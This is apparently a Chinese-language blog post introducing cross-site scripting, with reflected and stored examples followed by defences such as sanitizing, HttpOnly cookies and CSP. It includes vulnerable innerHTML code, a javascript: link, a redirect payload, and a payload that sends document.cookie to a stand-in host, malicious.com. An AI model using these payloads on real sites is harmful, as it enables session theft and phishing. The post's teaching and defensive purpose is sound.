[XSS] 初探XSS: 攻擊及防禦

Randy Liu
5 min readJun 16, 2023

--

XSS (Cross-site scripting)

XSS 的情境是將惡意程式碼/html注入到網頁端,可以進而達到偷取 cookies、惡意導向網頁、惡意執行API等。

XSS 分幾種方式:

  1. Non-persistent (reflected)
  2. Persistent (or stored)
  3. Server-side versus DOM-based vulnerabilities
  4. Self-XSS
  5. Mutated XSS (mXSS)

有個核心原則是

永遠不要相信使用者的輸入

來針對情境說明:

Non-persistent (reflected)

若今天有網頁是想透過 search query 去呈現某個節點的 innerHtml:

<h1 id="post-id"></h1>
const postIdElem = document.getElementById("post-id");
const queryString = window.location.search;
const urlParams = new URLSearchParams(queryString);

postIdElem.innerHTML = urlParams.get("id");

這樣會發生什麼事情呢? 若今天的 url 為 https://domain.com?id=1,網頁會長得像<h1>1</h1> 那很正常,但若是: https://domain.com??id=<img%20src="abc"%20onerror='top.location="https://malicious.com"'/> 那使用者一進到網頁就會被直接導向惡意網站,如果今天是發生在PayPal,而惡意網站是模仿PayPal的登入頁面,而你以為這還是正常網頁,只是被登出了,你很自然地輸入帳號密碼,那駭客就會知道你的PayPal帳號密碼,進而擅自操作你的帳戶。當然PayPal不會發生這種事,況且真發生這種事還有2FA擋。

或是,今天不是做網頁導向,做送出API:

https://domain.com?id=<img%20src="abc"%20onerror="fetch(%27http://malicious.com/steal-cookies?cookies=%27%2bdocument.cookie)"/>

這樣就會把cookie送到 http://malicious.com/steal-cookies

Persistent (or stored)

若今天不是透過 search query 去塞字串,而是透過與後端溝通拿取資料庫的資料:

const postIdElem = document.getElementById("post-id");
const postId = urlParams.get("id");
fetch(`/post?id=${postId}`, {
method: "GET"
})
.then(res => res.json())
.then((data) => {
postIdElem.innerHTML = data.data;
})

若是今天將 post 裡的 data 改成以上的例子,也會發生一樣的事。

今天不只可以塞 html字串,也可以在 a tag 裡做到 javascript code: <a href="javascript:alert(1)">my website</a> ,因此我們盡可能地不要去相信使用者所打的內容。

防禦

防止惡意字串

前端

  1. 將存在容易造成XSS的字串篩選掉,或是使用xss相關的package將字串或是整個html做sanitizer
  2. 避免使用innerHtml,在React我們也會發現官方把這個方法加了prefix做提醒:dangerouslySetInnerHTML
  3. 針對每個input的type做嚴格控管

後端

  1. 將會存進資料庫做xss的sanitizer,可以使用package

防止cookie被偷取

上面有範例是透過 document.cookie 傳到惡意endpoint,可以將cookie設為HttpOnly防止可以這樣access到cookie

Content Security Policy (CSP)

規範會與外部溝通的element的來源,像是font, img, frame, media等: https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP

行為控管

將轉帳、更改密碼等行為做2FA,確認是本人所為。

框架可能會做八九成的阻擋,但還是會存在漏洞,過去幾年都不段發生 XSS 或是 SQL Injection 相關的資安危機,因此要注意每個塞值的行為,防止被塞到惡意的值。

框架可能會做八九成的阻擋,但還是會存在漏洞,過去幾年都不段發生 XSS 或是 SQL Injection 相關的資安危機,因此要注意每個塞值的行為,防止被塞到惡意的值。

References:

  1. https://en.wikipedia.org/wiki/Cross-site_scripting
  2. https://blog.huli.tw/2021/06/19/xss-attack-and-defense/
  3. https://tech-blog.cymetrics.io/posts/jo/zerobased-cross-site-scripting/

Originally published at https://www.randy-liu.com.

--

--